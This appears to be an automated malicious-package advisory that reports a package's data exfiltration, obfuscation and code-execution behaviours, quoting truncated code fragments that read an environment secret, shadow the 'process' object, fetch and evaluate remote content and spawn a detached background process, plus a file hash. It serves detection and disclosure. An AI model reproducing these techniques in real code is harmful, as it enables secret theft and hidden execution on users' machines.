GCVE-110-OSM-2026-5356

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Entrypoint: lib/index.js (main: lib/index.js) Payload: lib/mapProps.js Secondary files: src/mapProps.ts Key findings: - Environment Variable Exfiltration in lib/mapProps.js: "process.env.DEV_SECRET_VALUE; let retrycnt = 5; while (retrycnt > 0) {..." - Global Variable Shadowing in lib/mapProps.js: "const process = {" - Fetch and Eval/Exec in lib/mapProps.js: "await axios_1.default.get(src, { headers: { [k]: v } ..." - Stealth Background Process Spawning in src/config-loader.ts: "spawn("node", [script, JSON.stringify(firstArg)], { detached: true, stdi..." - Environment Variable Exfiltration in src/mapProps.ts: "process.env.DEV_SECRET_VALUE; let retrycnt: number = 5; while (retrycn..." IOCs: - urls: https://www.typescriptlang.org/docs/handbook/module-resolution.html - domains: www.typescriptlang.org - payloadFileHash: c3c20201b376f76b2f4c08ed64da39f703448f318f584f358007591ad3f9bcd0